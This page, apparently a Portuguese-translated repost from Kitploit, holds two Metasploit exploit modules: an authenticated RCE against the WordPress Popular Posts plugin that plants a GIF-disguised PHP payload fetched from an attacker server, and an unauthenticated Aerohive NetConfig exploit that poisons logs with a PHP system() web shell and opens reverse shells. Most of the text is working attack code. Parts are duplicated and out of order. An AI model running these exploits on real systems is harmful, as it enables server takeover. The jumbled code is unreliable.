Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!
nate158g-m-w-n-l-p-d-a-o-e — ### Este módulo requer Metasploit: https://metasploit.com/download# Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma solicitação HEAD para o payload, antes de receber uma solicitação GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploit é bastante complicada. A autenticação é necessária e 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então solicitações são enviadas ao post para torná-lo mais popular do que o anterior #1 por 5. Uma vez que o post atinge o top 5, e após uma atualização de cache do servidor de 60 segundos (esperamos 90), o widget da página inicial é carregado o que aciona o plugin para baixar o payload do nosso servidor. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
### Este módulo requer Metasploit: https://metasploit.com/download# Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma solicitação HEAD para o payload, antes de receber uma solicitação GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploit é bastante complicada. A autenticação é necessária e 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então solicitações são enviadas ao post para torná-lo mais popular do que o anterior #1 por 5. Uma vez que o post atinge o top 5, e após uma atualização de cache do servidor de 60 segundos (esperamos 90), o widget da página inicial é carregado o que aciona o plugin para baixar o payload do nosso servidor. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
Fonte atual: MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts RCE Autenticado', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma requisição HEAD para o payload, antes de receber uma requisição GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploração é bastante complicada. A autenticação é necessária e o 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então requisições são enviadas para o post para torná-lo mais popular do que o anterior #1 em 5. Uma vez que o post atinge o top 5, e após 60 segundos (esperamos 90) de atualização do cache do servidor, o widget da página inicial é carregado o que aciona o download do payload do nosso servidor pelo plugin. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Alvo Automático', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, outros visitantes do site podem acionar }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nome de usuário da conta', 'admin']), OptString.new('PASSWORD', [true, 'Senha da conta', 'admin']), OptString.new('TARGETURI', [true, 'O caminho base do servidor Wordpress', '/']), # OptString.new('SRVHOSTNAME', [true, 'FQDN do servidor metasploit. Não deve resolver para um endereço reservado (192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, 'A porta local para escutar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress não detectado.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts não é uma versão vulnerável') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop isso 5 vezes apenas se houver um atraso de tempo na escrita do arquivo pelo servidor (1..5).each do |i| print_status("Acionando shell em: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} em 10 segundos. Tentativa #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Falha ao encontrar payload, pode não ter sido enviado corretamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondendo à requisição HEAD inicial (passou na verificação 1)') # de acordo com devemos ter um Content-Length válido # no entanto, parece que é calculado dinamicamente, pois é sobrescrito para 0 nesta resposta. deixando aqui como notas. # também não quis enviar o payload verdadeiro no corpo para acertar o tamanho, pois isso dá maior chance de sermos pegos return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondendo à requisição GET (passou na verificação 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por algum motivo estranho, precisamos fechar a conexão manualmente para o PHP/WP finalizar suas funções Rex.sleep(2) # esperar o WP terminar todas as verificações necessárias trigger_payload(on_disk_payload_name) end print_status("Recebida requisição #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Verificando se gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Criando novo post') # obter ID do post e nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('campo ajax nonce ausente, tentando reativar. se isso falhar, talvez seja necessário alterar a interface para ativar isso. Veja . Ou verifique (ao escrever um post) Opções > Preferências > Painéis > Adicionais > Campos Personalizados.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Post criado: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Não foi possível recuperar nonces e/ou ID do novo post') unless ajax_nonce && wp_nonce && post_id # publicar novo post vprint_status("Escrevendo conteúdo no Post: #{post_id}") # isso é muito diferente do POC do EDB, eu continuava recebendo 200 para a página inicial com o exemplo deles, então isso é baseado no que a UI envia res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post falhou ao publicar') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adicionando metadados maliciosos para redirecionar para #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Falha ao atualizar metadados') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirecionar conforme necessário res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 || res.code == 301 print_status("Enviando #{post_count} visualizações para #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # este valor>/<e qualquer coisa depois> (1..post_count).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST deve ser definido como um endereço IP (0.0.0.0 é inválido) para que a exploração seja bem-sucedida') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Login inválido, verifique as credenciais') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Nome do arquivo payload: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd não está instalado no servidor, inexplorável') unless check_gd_installed(cookie) post_count = get_top_posts # não precisamos mais passar o cookie, pois agora está salvo no cliente http token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Iniciando servidor web para lidar com a requisição do payload de imagem') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Aguardando 90s para atualização do cache pelo servidor') Rex.sleep(90) print_status('Tentando forçar o carregamento do shell visitando a página inicial e carregando o widget') res = get_widget print_good('Chegamos ao topo!') if res.body.include? payload_name # se res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Encontrado #{datastore['SRVHOSTNAME']} no conteúdo da página. Provavelmente o payload não foi copiado para o servidor.") # end # neste ponto, confiamos que nosso servidor web receberá requisições para fazer o resto acontecer endend### Este módulo requer Metasploit:
c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # apenas enviar, não importa a resposta fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 res = send_request_cgi( # esta URL varia do POC no EDB, e é modelada após o que o navegador faz 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site não está respondendo') unless res end def get_top_posts print_status('Determinando post com mais visualizações') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Visualizações: #{views}") views += 5 # nos tornar o post principal unless datastore['VISTS'].nil? print_status("Substituindo contagem de posts devido a VISITS estar definido, de #{views} para #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # carregar página inicial para obter o ID do widget. Às vezes parece que encontramos o widget quando ele está atualizando e não responde # o que mataria o exploit, então, neste caso, continuamos tentando. (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # carregar o widget diretamente (1..10).each do |
Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI e envenenamento de log para RCE', 'Description' => %q{ Este módulo explora vulnerabilidades de LFI e envenenamento de log (CVE-2020-16152) no Aerohive NetConfig, versão 10.0r8a build-242466 e anteriores, para obter execução remota de código não autenticada como o usuário root. O NetConfig é a interface web administrativa do Aerohive/Extreme Networks HiveOS. Versões vulneráveis permitem LFI porque dependem de uma versão do PHP 5 que é vulnerável a ataques de truncamento de string. Este módulo aproveita esse problema em conjunto com envenenamento de log para obter RCE como root. Após a exploração bem-sucedida, o aplicativo Aerohive NetConfig ficará travado enquanto o shell gerado permanecer aberto. Fechar a sessão deve tornar o aplicativo responsivo novamente. O módulo fornece uma opção de limpeza automática para limpar o log. No entanto, essa opção está desabilitada por padrão porque qualquer modificação no log /tmp/messages, mesmo via sed, pode tornar o alvo (temporariamente) inexplorável. Esse estado pode durar mais de uma hora. Este módulo foi testado com sucesso contra Aerohive NetConfig versões 8.2r4 e 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - descoberta e PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # ainda categorizado como RESERVADO ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # análise e código PoC ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # este pode ser o único payload que funciona para este alvo } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'O caminho base para Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Limpar automaticamente o log /tmp/messages ao gerar um shell. AVISO! Isso pode tornar o alvo inexplorável', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Conexão falhou.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('O alvo não é um aplicativo Aerohive NetConfig.') end version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Não foi possível determinar a versão do Aerohive NetConfig.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("O alvo é Aerohive NetConfig versão #{version}") else print_warning('Deve-se notar que não está claro quando/este problema foi corrigido, então versões após 10.0r8a ainda podem ser vulneráveis.') return CheckCode::Safe("O alvo é Aerohive NetConfig versão #{version}") end rescue StandardError => e return CheckCode::Unknown("Falha ao obter uma versão válida do Aerohive NetConfig: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Envenenar /tmp/messages print_status('Tentando envenenar o log em /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Conexão falhou ao tentar envenenar o log em /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Resposta inesperada recebida ao tentar envenenar o log em /tmp/messages') end print_status('Servidor respondeu como esperado. Continuando...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Tentando limpar o arquivo de log em /tmp/messages...') print_warning('Por favor, note que isso tornará o alvo (temporariamente) inexplorável. Esse estado pode durar mais de uma hora.') begin # Precisamos remover a linha que contém a chamada de sistema PHP de /tmp/messages # Os caracteres especiais na chamada de sistema PHP tornam quase impossível usar sed para substituir a chamada de sistema PHP por um nome de usuário comum. # Em vez disso, vamos evitar caracteres especiais encadeando alguns comandos grep para garantir que temos a linha correta e depois remover essa linha inteira # O impacto de usar sed para editar o arquivo em tempo real e usar grep para criar um novo arquivo e sobrescrever /tmp/messages com ele é o mesmo: # Em ambos os casos, o aplicativo provavelmente parará de escrever em /tmp/messages por um bom tempo (pode ser mais de uma hora), tornando o alvo inexplorável durante esse período. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # Aguardar pela limpeza Rex.sleep 5 # Verificar a chamada de sistema PHP em /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # usar =~ aqui produziu resultados inesperados, então include? é usado em vez disso unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Verificar a chamada de sistema PHP em /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # usar =~ aqui produziu resultados inesperados, então include? é usado em vez disso unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Erro durante a limpeza: #{e.message}") ensure super end unless log_cleaned print_warning("Não foi possível substituir a chamada de sistema PHP '#{@poison_cmd}' em /tmp/messages") end end if log_cleaned print_good('Log limpo com sucesso ao deletar a linha com a chamada de sistema PHP de /tmp/messages.') else print_warning("Apagar a evidência de envenenamento do log exigirá editar/remover manualmente a linha em /tmp/messages que contém o comando de envenenamento:\n\t#{@poison_cmd}") print_warning('Por favor, note que qualquer modificação em /tmp/messages, mesmo via sed, tornará o alvo (temporariamente) inexplorável. Esse estado pode durar mais de uma hora.') print_warning('Deletar /tmp/messages ou limpar o arquivo pode quebrar o aplicativo.') end end def execute_command(cmd, _opts = {}) print_status('Tentando executar o payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Acionar LFI através de truncamento de caminho @shell_cmd_name => cmd } }, 0) print_warning('Em caso de exploração bem-sucedida, o aplicativo web Aerohive NetConfig ficará travado enquanto o shell gerado permanecer aberto.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executando o payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend